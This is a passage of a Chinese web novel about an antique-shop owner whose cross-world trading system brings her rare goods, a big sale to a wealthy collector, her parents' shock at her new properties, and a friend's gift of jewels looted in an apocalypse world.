货比货得扔，见多了好东西，难免对价值产生混乱概念。 她上哪知道这些东西放在外面竟然那么稀有啊。 安慰自己半天，萧妧妧重新找回自信。 孟有树弯着腰在展示柜里来回看，心疼得眼睛通红。 暴殄天物啊，这么多收藏级别的翡翠，世面上见不到的好东西，就这么随意地堆在一起！ 孟有树彻底明白了，不再觉得古董铺和黎家、黎行聿有关联。 这种级别的东西，放在谁家都得好好珍藏，一代代传下去，不到要命的时候，绝对不会拿出来卖。 尤其萧妧妧这里的好东西数量多，真要是黎家的，黎家得多缺钱才会变卖它们啊？ 黎行聿带头投资的几个大项目做得风生水起，回报率极高，家里留下的老产业前几年改革成功，如今跟个印钞机似的，整天哐哐印钱，缺钱是不可能缺的。 孟有树现在更愿意相信，是萧妧妧人脉广才弄来这么多东西。 当然，萧妧妧的眼光也够毒辣。 以孟有树的经验来看，整间铺子没有一个假货。 古董还是艺术品全部标明，贵的很多，便宜的也不少，胜在价格适中。 最难得的是，店里的翡翠玉石同样真得不能再真，且件件精品。 一圈圈看下来，孟有树的购物欲飙升。 他本就有收藏古董玉石的爱好，见到好东西没道理不心动。 “萧老板舍不得它们可以理解，其他东西总该愿意卖吧？” 萧妧妧回神，喜悦情绪浮上脸。 孟有树不负萧妧妧所望，当场表演一出有钱人购物有多豪迈。 “双面绣屏、象牙折扇、楠木香几、掐丝珐琅瓶、青白玉如意…… 对了，起刚的那个大圈口白月光给我包一个，萧老板戴着好看，我闺女估计也能戴。” “金丝楠木的椅子卖吧？一对都要了。” 没有标价牌的大多是非卖品，他就在有标价的古董里放肆挑选，手指随意一点，一个接一个挑走。 好家伙，这是来进货的！ 萧妧妧粗略盘算一下价格，幸福得要晕过去，整个人头重脚轻。 “喳！” 【作者有话说】 感谢读者“四方”,灌溉营养液 +1 感谢读者“月白”,灌溉营养液 +10 感谢读者“Ahom～阿洪”,灌溉营养液 +1 130 第130章 ◎正经古董店◎ 萧妧妧化身快乐小蜜蜂,满铺子乱飞，抱起这个，捧起那个，然后在柜子里翻箱倒柜找资料。 孟有树的两个助理也没闲着,一样东西接一样东西扛出去。 孟有树翻着一沓存档资料,越看越踏实,暗暗点头。 确实是正经古董店。 瞧瞧,这流传记录做得多漂亮啊，清清楚楚,一目了然。 最令孟有树感慨的是，不止高价值上百万千万的古董有交易记录和收藏证书,十几万的扇子、几十万的双面绣，不起眼的小东西同样有记录,并没有随意糊弄，可见萧妧妧这个老板当得有多称职。 再说翡翠,保底两家权威机构检测证书,多的能有三家。 孟有树买下的白月光属于刚上架的新货,只有交易票据,来不及送去鉴定。 萧妧妧大气的很,没有鉴定证书的翡翠玉石九折之后再九折。 孟有树哪里听得了这话，当即又挑出来几只高冰起刚晴水绿。 “送亲戚家孩子挺合适，一起包起来。” 大手一挥，萧妧妧又进账一千五百万,本就忙碌的她更忙了。 孟有树买的东西多，大小所有物件的流传记录、交易收据、图片、公证材料加起来,不比一块砖头薄多少。 孟有树前面几页检查得挺仔细,后面根本看不过来,随手一翻，扫一眼上面的红章，再看鉴定机构，继续翻页。 “萧老板不容易啊，”孟有树轻拍厚厚一沓存档资料，赞叹道：“传承谱系齐全，证书齐全，关键是东西货真价实，有两把刷子。” 说到最后几个字，孟有树朝着黎行聿看去，挤了挤眼睛。 冷不丁对上孟有树暗示意味十足的眼神，黎行聿莫名红了耳根。 孟有树看得稀奇，盯着多看了两眼，直把黎行聿盯得侧过身，他才撑着柜台哈哈笑。 萧妧妧钻出柜子，扒着柜台探出头。 左看看右看看，不知道孟有树笑什么，耸耸肩，继续忙她的事。 第一次碰上大采购的顾客，萧妧妧现在忙疯了！ 不是忙着打包就是忙着找资料，连支票都没来得及看几眼。 要不是她早有准备，提前下载好必要的资料，萧妧妧估计今天一天时间都不够把孟有树买的所有东西运走。 再看孟有树那张平平无奇的富态面容，萧妧妧怎么看怎么像财神爷。 现金存款加上寿瓶、鬼工球的1750万，刚刚好达到1.5亿。 孟有树疯狂下单买走的一堆东西，折扣后加起来五千多万，再扣去税，萧妧妧账上余额勉勉强强超过2亿。 果然还是“走私”赚钱！ 龙傲天当垃圾一样丢来的东西，成本可以说为零，苏娇娇送来的古董虽说是用金条换的，但价值完全不能比。 小小投入，大大回报，萧妧妧赚了不止十倍百倍。 忙着忙着发现脸颊酸疼，萧妧妧才意识到自己笑得太夸张，揉搓一把脸蛋缓解一下，随即收敛笑意。 刚收敛没几秒，嘴角又不知不觉翘起。 要不是有客人在，萧妧妧想，她应该会找个机会大笑出声，笑够了再说。 她紧赶慢赶，总算在十二点前打包好所有东西，在孟有树核对过的前提下，再装车送去展览馆。 是的，买到满意的宝贝，孟有树从不吝啬，大大方方邀请大家欣赏。 萧妧妧婉拒了两人的午饭邀请，目送他们离开，便再也管不住自己，蹦跶着回店里。 “这么高兴啊，妧妧这是挣大钱了？”刘叔早等着打听消息呢。 他可都看见了，萧妧妧送两个有钱人上豪车，上车前，司机和助理一趟趟运东西。 小的匣子巴掌那么大，大的需要两人抬，还一副生怕磕碰的紧张样。 小卖部这两天装修，只能是古董铺呗。 回想自己瞄过几眼的标价牌，刘叔坐不住了。 不能吧，这么贵的玩意，有人买？ 富豪又不*是傻子，买那些一眼假的玩意，不当吃又不当喝的。 想是这么想，萧妧妧蹦蹦跳跳过来时，刘叔没忍住凑过去打听。 要是古董生意这么赚，他也想去试试。 “赚什么钱啊，我好不容易把压在手里的货弄出去，等店里东西卖完，我就关店了，不干了，尽亏钱。” 就跟街对面永远在清仓的鞋店一样，嘴上一个劲喊着亏本大甩卖，实际没少赚。 萧妧妧就在干这样的事，一个劲卖惨。 刘叔质疑：“不能吧，你店里东西贵，卖个一样两样都够一家子吃喝一年了。” 萧妧妧默默纠正：不是一年，是一辈子。 她叹气：“哪有这好事啊，价格贵都是吓唬人的，等着客人砍价呢。 这一行砍价特别狠，动不动几十万几十万的砍，这还是方爷爷跟我说的小技巧呢。 其实真不赚，几千块钱，赚个水电费已经了不得。” 萧妧妧煞有介事的吐槽，好像亏得快破产似的。 刘叔让她哄得一愣一愣，好半天，心里才渐渐踏实。 这才对嘛，小丫头片子刚做生意，一堆坑等着她跳呢，哪能那么快赚到钱。 不说小卖部三天两头闭店，还当自己大公司上班呢，搞什么一周三休，说出去笑掉大牙，不亏本都是祖宗保佑。 刘叔舒坦了，老神在在坐回去，顺手招呼萧妧妧进店，买几个果子回去降降火气。 萧妧妧想糊弄一下，扫一眼新上市的枣子，脚步一转，进店挑选起来。 刘叔高兴地递去塑料袋：“菠萝甜，多来几个。枣子个头大，新鲜，我给你装两斤。” 搁在以前，萧妧妧肯定要拒绝，想到院子里嗷嗷叫等投喂的几人，照单全收。 回到188号院，外卖整齐摆放在门口，萧妧妧一手水果一手外卖，一起拎进去。 “吃饭啦！” 扬声喊了一句，话落之后，孟甜甜举着胳膊从189号回来，进卫生间洗手。 爱丽丝探头探脑从小卖部钻出来观望，看到丰盛的食物，松了一大口气。 申明月落后一步，抱着平板从小卖部出来，抬头看天，不敢相信自己才听了一会讲座，时间就这么流走了。 放下东西，萧妧妧第一件事是忙着摘首饰。 耳坠项链无所谓，一金一玉两只手镯是重点。它们碰在一起叮叮响，好听是好听了，萧妧妧却揪心不已，生怕多碰撞几下白月光多出一条裂纹，得不偿失。 检查过白月光，又确认金累丝手镯没有划痕，萧妧妧合上首饰盒，扎头发，撸袖子，挤进大家中间，忙着分餐具。 午饭在小卖部新换的方桌上吃，她按照每个人的口味点了菜，铺开来刚好占去大半桌面。 人多时吃饭基本不太遵循食不言的规矩，尤其小卖部稀奇古怪的物件、知识太多，饭桌便成了大家互相交流各自世界、交换各自学习到的知识常识的重要地方。 孟甜甜同样有着现代社会生活经验，受过高等教育，她和萧妧妧两人大多数充当解答疑惑的角色。 有好学的申明月带头，爱丽丝也被迫灌入了一些用不到的知识。 热热闹闹吃完一顿饭，萧妧妧迟钝想起自己忘记给柳如烟搭台阶了，转头操作系统给她发去邀请，然后便放着不管，和孟甜甜一起拆快递。 她买的DIY打金工具显示已签收，应该就在这堆快递里，萧妧妧迫不及待想融了那几百枚金币，做一些奇怪款式。 既满足自己玩手工的兴趣，又能把纯度低的金币利用起来，一举两得。 两人像比赛一样，飞快拆包装，很快，一堆纸壳山和一堆塑料袋成了院子里最壮观的景观。 苏娇娇的货需要再加工，所以先堆在189号的杂物间里，孟甜甜的东西全是为出行做准备，消毒过后通通搬进客房暂放。 萧妧妧给自己买的东西并不多，至少在这一大堆快递里，不算多。 按照收件人信息分好类，萧妧妧总算找出自己的目标，拆了包装袋搬去小卖部，等晚一点再琢磨。 快递拆完，纸壳和垃圾分开堆放，院子的整洁度恢复大半。 萧妧妧看一眼时间，差不多到了师傅们上门装家电的时候。 资金充足，萧妧妧懒得计较什么优惠、价格，找到信誉好的品牌买齐全，并约在今天上门，尽量一次性解决。 她坐在院中等了一会，手机接二连三响起，萧妧妧赶紧打开189号院门。 空调、冰箱、烤箱、洗碗机、大屏电视机…… 制冰机、咖啡机、刨肉机、榨汁机、燃气灶…… 大件小件一车送来，先后抬进院子，很快占据大半面积。 厨房卫生间卧室同时开工，萧妧妧一个人顾不过来，孟甜甜赶来搭把手监督。 安装、检测、调试……流程走完，天色也暗了下来。 工人离场，留下满地狼藉，萧妧妧没能歇一会，又推着拖车运垃圾，院子恢复到干净模样时，已经到了晚饭的点。 大家顾不上吃饭，环顾焕然一新的小院，兴奋地来回乱窜。 萧妧妧抹去额头汗珠，拿起手机给孟有树回消息，然后拍下院子的全景照片发给她爸妈。 心血来潮买下铺子，一切都进行的太快，萧妧妧忘记和父母知会一声。 这会已经装修完，过不了几天正式营业，邻居们也差不多该知道了，萧妧妧不希望爸妈通过别人嘴里听到消息。 措辞一番，连照片带文字一起发过去，没多久，张芸的电话打了过来。 “什么意思啊，我没看懂，你怎么又买了个院子啊？多少钱买的？” “不是……你那个铺子不是够用吗？贷款怎么回事啊？你怎么贷下来的？” “我的天，我和你爸在看房子呢，刚挑出来一个特别好的，想着带你看一眼就定下来，你这……你说这么办？” “你先别说话，我和你爸马上过去。” 嘟嘟嘟几声响，电话挂断，萧妧妧一句话都没来得及说。 她挠挠头，盯着手机屏幕发呆。 好家伙，这要是告诉他们，手里还有一套月牙湾的别墅和市中心大平层，爸妈不得乐疯了。 萧妧妧心思一动，要不，趁这个机会一起说了吧？ 【作者有话说】 感谢读者“momo”,灌溉营养液 +1 130-140 131 第131章 ◎欢欢喜喜开盲盒◎ 得知萧妧妧的爸妈要来小卖部,语气听起来像是要发火。 申明月放下平板溜走，爱丽丝礼貌询问后，抱起一盒切好的西瓜随后离开。 孟甜甜的老巢就在小卖部客房，只能借口有事要忙,躲回去和丧尸干瞪眼。 萧妧妧摸了摸后脑勺,望着安静下来的院子,越发觉得自己在做见不得光的生意。 虽然挺感谢大家的配合,但……倒也不用如此避如蛇蝎。 撞见了也不怕，她和爸妈打过预防针,客房挂在自家民宿下面，只说安排客人入住就能糊弄过去。 萧妧妧一边挑模具,打算做一个纯金史努比，一边等爸妈上门。 工具刚摆好,流程梳理清楚，院门咔哒一声响。 “妧妧,你什么时候买的院子啊？多少钱买的？咱们能退吗？ 不能退你再卖出去呗？这钱拿去买房子不好吗？” 萧大明紧跟着附和：“你妈说的对,这院子要不是你爷爷传下来的,我都不稀罕买。” 人未到,声先至。 听到一连串的说话声,萧妧妧放下东西走到院中，这时，一直嘟嘟囔囔的老两口忽然止了声，呆呆站着,望着大变样的院子不敢认。 “妧妧，你这古董铺……这么多东西啊？” 张芸看到闺女来了,指了指灯火通明的屋子,神情满是不可置信。 她记得老方家的铺子,瓶子罐子错落有致，哪像这样一股脑堆在一起，像小地摊。 和夫妻俩想象的完全不同。 萧妧妧一手一个，推爸妈进去，正好介绍一下她的古董铺。 特别贵重、用来充场面惊艳孟有树的翡翠、彩宝，萧妧妧提前收走了，铺子里只剩下普通古董，百来万左右，免得吓着他们。 她考虑得周到，却没想到两人还是惊住了，一看到标价牌，连质问院子的事都抛在脑后。 “这么个破香炉你卖五十万？还有这个，一把扇子十八万，抢钱都没你赚得多。” 张芸大喇喇进屋，迈开两步瞅几眼，紧紧环抱胳膊，不敢随意走动，生怕碰着哪个东西。 萧大明扫一圈，忧虑的问：“妧妧啊，你开的别是黑店吧？老方家的东西比你这便宜多了。能卖出去吗？” 萧妧妧：“真古董当然要贵一点了。你们看，有鉴定证书，还有卖家交易记录，有迹可寻的，不然我连营业执照都办不下来。” 萧大明一想也是，卖假东西犯法，萧妧妧没那个胆子。 夫妻俩对视一眼，仍觉不可思议——竟然是真古董。 这和他们想象的完全不一样。 萧妧妧年纪轻，想闯荡很正常，两人无论是态度还是行动，都表达了支持的意愿。 但从理智上来说，不太看好，毕竟是从未涉足的陌生行业，家里没有人脉铺路，萧妧妧又不是这专业的，刚开始必定艰难。 他们关心过几次，得知没什么需要帮忙的，两人便没多想。 古董铺嘛，说得好听，肯定没多少真东西，糊弄人罢了。 夫妻俩后来观察过一阵子，发现闺女除了忙点，看起来挺轻松的，下意识认定她开的就是那种糊弄人的艺术品店。 猛地一见，完全出乎意料，两人左看看右看看，直接干沉默了。 “你别让人骗了吧……我到现在没想明白，你怎么想起来搞古董了呢。这要是干不好，我和你爸都不知道能不能给你兜住。” 张芸犯愁，东西卖得贵，说明进价不便宜，东西多，说明投入的多，这要是亏本了怎么办？ 萧妧妧没解释什么，只拖着爸妈穿过中间新砌的小门来到189号。 “亏什么？真亏本我哪来的钱买院子啊。”她得意叉腰，脑袋高昂：“看，刚简装过，家电今天进场，所有花销都是我卖古董赚来的。” 萧大明惊诧地扭头，看了看隔壁的古董铺，又看了看眼前的院子。 “还真有冤大头从你这里买古董啊。” 萧妧妧鼓了鼓脸颊：“爸！” 萧大明迅速改口：“可不是冤大头，是财神爷。” 和女儿嘀咕两句，他又忙不迭钻进各个屋子，连墙角根也不忘记挑剔几句。 张芸没心思看院子，摸了摸萧妧妧额头：“没发烧啊，赚了钱买什么不好？咱家那么大院子不够你用啊？跟我说说多少钱买的？” 住腻了月牙巷的院子，夫妻俩现在就想住楼房，自然不认为临近景区的院子哪里好。 萧妧妧知道爸妈的态度，更不敢说实话，脚尖无意识地碾了碾地面，轻声说：“……也就700万吧。” “多少？”张芸没听清。 萧妧妧缓慢举起手，比了个七的手势。 张芸呼吸明显停滞，好一会才出气。 “700万！你疯了？” 萧大明这时从商铺钻出来，问：“什么700万？不会是这间院子吧？” 张芸没好气的回：“不然呢？” 这下轮到萧大明喘不上气了。 “你这、你、你……唉！”萧大明愁得一屁股坐在院子里的台阶上，直叹气，“闺女啊，有钱不是这么花的。” 两人捶胸顿足，懊悔没能及早劝住她，萧妧妧差点以为自己是败家子。 她一贯擅长撒娇撒泼，总能哄得爸妈高兴，于是故技重施，反身抱住张芸在她怀里乱拱。 “古董铺是咱们家的摇钱树，我不得扩大店铺赚更多钱嘛？ 你们看到了的，铺子里根本塞不下。 爸妈你们放心，我不是头脑发热买了玩的，是正经做生意。 而且我这是全款，没有贷款，多厉害啊？ 上一个房东买它花了1200万，到我手里便宜了500万，是不是特便宜？ 我一个买衣服都扛不住九折诱惑的小女孩，买院子能扛住六七折的诱惑吗？” 拿生意当借口，夫妻俩冷静许多，又听萧妧妧解释了一大段，对视一眼后，瞬间消气。 自己女儿自己清楚，能花700万买院子，说明她手里还留不少呢。 女儿主意大，自己做主开古董铺，又靠古董铺赚了大钱，全款买了院子扩大店铺，说出去只有挨夸的份。 除了院子不太喜欢这一点，没什么可挑剔。何况买都买了，能怎么办？ 转念一想，夫妻俩发现确实没什么可气的。 张芸脸色和缓，再次嘱咐道：“算了，你要做生意我就不说什么了，你手里的钱可别乱花。” 说着，她赶紧从包里掏出几张楼盘宣传单，一股脑塞萧妧妧手里。 “上回给你看的楼盘，你也不吱个声，这几个你再看看呢？ 我和你爸都觉得好，价格合适，以后还贷轻松，你爸的退休金能覆盖。” 说起房子，萧妧妧觉得该说清楚了，省得爸妈大夏天到处跑。 她清清嗓子，清脆嗓音抑扬顿挫的宣布好消息：“爸妈，你们不用帮我买房了，房子……我有了。” “你有什么了？”张芸。 “谁有房子了？”萧大明。 萧妧妧看他们一副不可置信，怀疑自己听错的模样，转身跑去古董铺，翻找出孟有树的协议。 “喏，你们看吧。”萧妧妧递出协议，又贴心地打开手电筒方便他们看清楚，“一套月牙湾的独栋别墅，一套市中心的大平层，都是我的了。” 夫妻俩狐疑看她，拽过协议，一字一字读出来。 “月牙湾66号……1300平方……无偿转让给萧妧妧？” 最后几个字，萧大明念走音了，听起来像外语。 张芸胳膊肘捣了他一下，示意看下面内容。 “熙园，8栋1601号，442平带车库……无偿转让给萧妧妧！”这一句，萧大明直接破音。 夫妻俩捧着协议，胳膊抖啊抖，两人你掐我一下，我掐你一下，感受到痛感，霎时瞪大眼睛，对视着陷入沉默。 萧妧妧噗呲一声笑出来。 夫妻俩格外有默契，动作迟缓地转头看来，齐声问：“妧妧，你不会是犯法了吧？” 异口同声，连语调都一样的飘忽。 萧妧妧：“你们没看错，我也没犯法。一个做房地产的老板想买我手里比较稀有的古董，知道我打算买房子，所以用房子换古董。” 萧妧妧早有准备，直接翻出和孟有树的聊天记录，划到最顶端。 “看，大老板几次拜托我帮他留住古董呢。那件瓶子是他祖上卖出去的，现在发家了想买回去，一个在博物馆里没办法，一个在我店里，可不就特别重视吗。” 夫妻俩说不出话，接过手机，一个劲看记录。 两人交流不多，除了几次短暂的通话，全部是谈及古董的内容，夹杂几句寒暄客套。 “乖乖……什么古董值月牙湾一套别墅？” 好半晌后，张芸吐出这么一句。 萧大明扣着脑袋，确认道：“意思是，咱们家不用买房了呗？” 萧妧妧重重点头，笑容灿烂：“不用买了，咱们以后不需要看房了。 爸妈，你们不是喜欢楼房吗？咱们收拾收拾，过段时间搬过去。 我打听过，这是高档小区，有健身的地方，有会客区域，听说还有餐厅呢，不想做饭可以去餐厅吃。 对了妈，小区有舞蹈队，听说会请专业老师教，最适合你。” 好消息来得猝不及防，夫妻俩显然没能缓过神，恍惚望着萧妧妧。 感觉像做梦一样。 太不真实了。 张芸茫然地看向萧大明，别墅有了，楼房也有了，然后呢？ 萧大明默默进了卫生间，凉水扑面。 萧妧妧见他们半天没露笑模样，一时间分不清他们什么态度。 “你们这是高兴还是不高兴啊？” 萧妧妧探头到张芸面前盯了一会，又到萧大明面前观察。 张芸迟钝回应：“高兴，当然高兴，这不是没反应过来嘛。” 两口子琢磨给萧妧妧买房琢磨了好几年，打从她上大学开始就在考虑。 从什么城市到什么地段，再到什么学区，为此，他们一直省吃俭用，努力经营自家民宿，想着多挣一点。 白天刚跑了两个楼盘，连着看了十套房，手机里全是录下来的视频，晚上回来好让萧妧妧挑一挑。 这一转眼，闺女突然告诉他们，不仅买了新院子，还有一套大平层，连1000多平的独栋别墅都有一个。 老两口一时间无所适从。 气冲冲地来，恍恍惚惚地离开，心情一百八十度转变，冲击得两人神情一片茫然，满脑子想着大别墅大平层。 萧妧妧算是最能理解他们心情的人，毕竟她自己都没忍住，傻乐了一下午。 重新整理一遍古董铺，补充空余展示位，忙完之后，萧妧妧去小卖部琢磨打金。 融了十枚金币倒入模具中，等待的工夫，孟甜甜搓着手进来了。 她刚从末世位面来，身上带着冷飕飕的寒气，防寒服上有潮湿水汽。 孟甜甜探头看了看院子：“叔叔阿姨回去了？” 萧妧妧点头，拆开模具扒石膏，启动超声清洗机。 孟甜甜见状，脱下防寒服挂在走廊下面晾晒，把自己收拾清爽后，漫不经心走来，推来几个首饰盒。 她的姿态过于随意，以至于萧妧妧以为是什么不重要的东西，眼睛一错不错盯着清洗机，等史努比露出真容，手里事情忙完，她才想起来去看一眼。 “这是……？”萧妧妧放下史努比，向身侧迈了一步：“不会是给我的吧？” 孟甜甜捧着毛巾搓头发，双眼忧虑地盯着结界另一边，头也没回的说： “是啊，马上要离开银行了，我可舍不得那些好东西留在水里。” 到了新地方，需要处理的方方面面不会少，要买的东西更不会少，孟甜甜转念一想，反正末世来了也用不上那些，不如全拿出来付给萧老板。 孟甜甜带上工具回去，费劲吧啦地撬保管柜，有多少装多少，渗进来的雨水泡得她身体僵硬，几乎无法行动才慌忙躲了回来。 得知这些是她抢银行弄来的东西，萧妧妧神情微窘。 就……有种团伙犯罪的既视感，而她这里，是销赃的步骤。 孟甜甜见她面色古怪，笑着说：“都是没人要的东西，我不撬，最后结果是变成废铜烂铁。” 萧妧妧嘿嘿笑，抱起那一摞首饰盒：“我可没说嫌弃，这么好的东西，巴不得多来点呢。” 史努比不香了，萧妧妧美滋滋抱着首饰盒坐下，欢欢喜喜开盲盒。 【作者有话说】 爆更是爆不动了，但是可以试试多来点字数，尽量，不一定能成[捂脸偷看] 感谢读者“糊图图图图”,灌溉营养液 +1 感谢读者“婷婷”,灌溉营养液 +1 感谢读者“墨墨”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“木昰”,灌溉营养液 +1 感谢读者“岁岁今朝在”,灌溉营养液 +5 感谢读者“momo”,灌溉营养液 +1 132 第132章 ◎抢银行不如抢小卖部◎ “保管柜里有很多文件、债券什么的,我只找来这些，应该值点钱。” 孟甜甜最多能分辨出哪里贵重东西多，至于里面有没有萧妧妧喜欢的珠宝，她不敢保证,闭着眼睛闷头撬呗。 保管柜是真难撬,废了她不少工具,好在结果不错。 “何止一点啊,是非常值钱！” 萧妧妧打开了第一个盒子，里面躺着一枚设计款钻石戒指。 在沙弗莱和绿钻之间犹豫两秒,萧妧妧好半天才敢确认它是绿钻。 一经确认，她的眼神几乎黏在上面。 绿钻虽冷门,但它够美艳，够昂贵。 手里这枚饱和度少见的高,净度和切工绝佳，肉眼看偏艳绿色,绝对算极品,收藏级别的极品！ 大多数人对绿钻价值没概念,甚至都没什么印象,只知道某个一月十八块的无损音质豪华绿钻。 换一种说法或许可以帮助大家理解,在绿色系彩宝中，绿钻比祖母绿昂贵，比祖母绿更罕见。 哪怕在大家认知中，祖母绿才是那个更受欢迎的彩宝。 萧妧妧这辈子离绿钻最近的时刻,绝对是每月花十八块钱续费的时候，现在好了,货真价实的绿钻就躺在她手心。 太美了,也太贵了！ 孟甜甜这时刚好绞干头发上的水份,拉开椅子坐下，陪她一起看首饰。 抢的时候囫囵扫了两眼，具体什么模样来不及细看，反正塞在保管柜里，肯定不差。 “瞧着挺大的，估计有15克拉左右。” 面对极品绿钻，孟甜甜面无表情地淡定评价。 比起珠宝，还是八宝粥更能激起她的情绪波动。 萧妧妧无法淡定，她查到的拍卖记录里，相似品质的绿钻，克拉价达到了200万美元！ 汇率换算，看着计算器显示的一串零，她数了两遍才敢相信这么个小玩意值两个亿。 孟甜甜见她爱不释手，不禁疑惑道：“萧老板早该习惯才对。” 萧妧妧眼皮子都不想掀，捏着戒指依次套在手指上试戴。 “你太抬举我了，谁能习惯价值几个亿的东西在眼前晃啊。” 孟甜甜想起自己到现在还在为成为小卖部客户而兴奋，笑了笑接话：“说的也是。” 笑完，她又说：“我记得里面有粉钻，你不继续看看？” 萧妧妧一听，马上放下手里绿钻，目光在剩下几个盒子里睃巡一圈，挑中第二小的盒子。 “这是……祖母绿？” 又是一枚绿色戒指，萧妧妧拿起前面那颗绿钻，两者并排摆放对比。 果然，祖母绿雍容大气，绿钻冷艳深邃，完全符合她对这两种宝石的刻板印象。 刚卖出去一枚祖母绿，又来一枚，这一枚不管从品质还是切工，又或者净度，总体而言不相上下。 甚至因为副石也是祖母绿，加在一起，少说有35克拉，所以价值上来说，只会更贵。 最妙的是，祖母绿的戒圈完美符合她的中指尺寸，即便自留也不需要改款，太完美了。 萧妧妧喜欢得不行，和绿钻一起套在手上去看下一件。 这次不是方形小盒子了，看起来是项链。 萧妧妧一打开盒子，眼睛就被闪了一下。 “对，这就是我说的粉钻。”孟甜甜道。 萧妧眯了眯眼，适应闪耀的光芒后仔细看去，暗道一声难怪。 项链设计得繁复又精致，造型上来说，以花与叶为主体相缠绕衔接。 18K金做托，无色钻石镶出大小共计十六片叶子，花朵自然是粉钻，大小不一，错落点缀在叶片之间。 先说主石，绝对超过20克拉，围绕它的副石也不小，10克拉、5克拉交替镶嵌。 孟甜甜：“这一条项链，光是粉钻估计就有60克拉，旁边的碎钻不知道有多少。” 萧妧妧嚯了一声，将它戴在脖子上亲自感受。 “一场宴会下来，颈椎病都要犯了。”萧妧妧如此评价。 粉钻价值可不是绿钻能比的，尤其它品质好，还这么大克拉数，萧妧妧已经不敢想它的价格。 “按照萧老板这边的行情，可能有4、5亿左右吧。”孟甜甜查完资料后说。 萧妧妧挠头：“那也没有很贵嘛。” 孟甜甜慢悠悠补充：“美元。” 萧妧妧挠头的动作僵住，缓缓转过身，狐狸眼瞪得滚圆。 4、5亿美元，按照当下汇率，那不得…… 萧妧妧吞了吞口水，这一条项链竟然比一套起刚起荧的帝王紫还贵，这合理吗？ “看起来挺合理的，毕竟粉钻在国外很受欢迎，比翡翠受欢迎。 我查到的拍卖记录里，粉钻在市场上相当活跃，从流通性来说，粉钻更胜一筹。” 萧妧妧听完她的科普，默默收起粉钻，把它放在汝窑、帝王紫、帝王绿那一堆里。 这要是拿出去让孟有树见着，不得迷死他啊。 “他们有钱人过的什么好日子啊。” 萧妧妧叹息，要不是有交易系统，她这辈子都见不到这么贵重的东西。 还剩下两个盒子，萧妧妧一股脑打开。 见识过几十亿的粉钻，她的心态大不一样，再不会随便动心……撤回！ 萧妧妧话没说完就打脸了，她见到了比粉钻更珍贵的东西。 “是红钻吧？一定是红钻对不对！” 萧妧妧捧着盒子，话音不自觉颤抖。 老天奶啊，红钻！ 没有什么特别的设计，经典款式的粗宽链条，上面铺满无色钻石，正中间一个菱形切割的红钻。 简单、优雅、大气！ 这一块，少说有10克拉。 别看10克拉不多，比不上粉钻项链上的副石，但它的价值绝对碾压粉钻。 红钻有着钻石界帝王的称号，天然无烧红钻可以说是最稀有的钻石，比前面提到的粉钻绿钻更珍贵、罕见。 目前市面上流通的红钻大多在1克拉左右，价格逐年上涨，前两年的拍卖记录里显示，一克拉红钻落锤价已经达到6000万。 划重点，是美元。 10克拉的红钻，她拿出去恐怕都没人信是真的。 抢银行才赚几个钱，不如抢她的小卖部，瞧瞧这一堆堆好东西，买银行都不过份。 萧妧妧合上首饰盒，把它丢去和粉钻作伴。 她拖着椅子挪到孟甜甜身边，抓起她的手：“姐，你是我亲姐，不管你要买什么，我都给你买！” 孟甜甜一听，笑容根本止不住。 萧妧妧不来虚的，正好银行卡里有钱，她算好账，保证有2亿元的整钱在手上，多出来的一千五百万零头全部转到孟甜甜在用的那张卡里。 “你也太会抢了吧，件件是宝贝。” 萧妧妧没忍住，又把两条项链拿出来搭在手背上，和两枚戒指一起放在灯光下欣赏。 孟甜甜哭笑不得：“哪里是我会抢，那可是银行保管柜，可不就是宝贝集中的地方？我翻出来不少东西，可惜现在能换钱的就这么多了。” 萧妧妧挺想问问她，到底怎么做到的，以前看电影的时候，再有名气的大盗也得使出浑身解数和高科技斗智斗勇。 孟甜甜微笑：“我有库房钥匙。” 萧妧妧哑口无言。 还是末世机会多啊。 孟甜甜莞尔，笑了一会，她慢吞吞开口请求：“萧老板，我过几天会去抢几辆车，只是我那里不方便存放，也带不走……” 萧妧妧秒懂，都不用等她说完，果断回应：“交给我！你只管挑车子，存放的问题我来办。” 189号有小库房，她今天刚把系统空间里的部分物资挪过去，又微调了一下，空出来一大排，够孟甜甜用。 萧妧妧全当这些彩钻是租系统空间的费用，心安理得的收下，美滋滋欣赏起来。 孟甜甜彻底松了一口气，劝萧妧妧早点休息，自己先去洗漱。 萧妧妧随口应了一声，实际根本不想挪屁股。 等到外面传来轰隆隆雷声，酝酿了一天的大雨终于放肆泼洒，萧妧妧赶紧收拾东西。 顶着大雨回到家，已经是深夜十一点。 抬头，二楼季随房间的窗口倒映出交叠的人影，因为大门的关门声动作有短暂停滞。 侧头，一楼走廊尽头，一向早睡早起的爸妈失眠了，窗帘缝隙透出一线亮光。 白天见不到人影，晚上反倒热闹起来了。 萧妧妧摇摇头，挪开目光，回房间洗漱。 第二天行程满满，早点睡养足精神才对。 然而躺下去不到几分钟，萧妧妧怎么也睡不着，翻了几次身索性噌一下坐起，打开台灯。 以为自己用一下午平复了情绪，事实上并不然，精神的亢奋做不得假。 反正睡不着，她放纵自己的好奇心，网上到处搜索熙园的相关视频，试图想象自己的大平层会是什么样。 结果倒好，她更睡不着了，恨不得亲自看一眼，到底有没有网上说得那么好。 视频刷了一遍又一遍，萧妧妧一边告诉自己该睡了，一边忍不住去找月牙湾别墅区的视频。 不愧是顶级豪宅，网上根本找不到几张图片，萧妧妧不满足，于是取出她的绿钻戒指红钻项链。 “这一天天的，真刺激啊。” 迎着彩钻闪耀的光芒，萧妧妧惊恐发现，自己精神抖擞。 而时间已经走到了凌晨2点。 她强迫自己别去想什么大别墅大平层，效果几近于无。 实在没办法，萧妧妧拿出黎行聿送来的那一摞书，翻开一章。 …… 第二天醒来，萧妧妧肩膀硌得酸疼，翻了个身爬起，她恍惚想起来，昨晚枕着砖头书睡着的。 她赶紧抱起书查看，还好，没有折坏，平整得像新书。 翻开第一页，萧妧妧这才想起来，她是看到第三行字的时候睡过去了。 给枕头和书来一张照片，萧妧妧毫无负担的发去朋友圈，配文：“知识的力量”。 她已经很久没有这么快入睡了。 萧妧妧宝贝地抱起那本连书名都读不通顺的投资教材，十分珍惜地塞在枕头下。 下了一夜的雨，空气清新又凉爽。 萧妧妧的心情比外面的空气还要好，一大早便笑吟吟的。 换上简约白衬衫，配西装面料的A型短裙，看起来和早起上班坐办公室的社畜没什么区别。 萧妧妧难得给自己抹了个大红唇，拎起包，步伐轻快地走到巷子口。 已经九点过半，超出了正常上班时间，路上没多少车辆，她一眼看到路旁低调却扎眼的商务豪车。 瞄到熟悉的车牌，萧妧妧迟疑片刻。 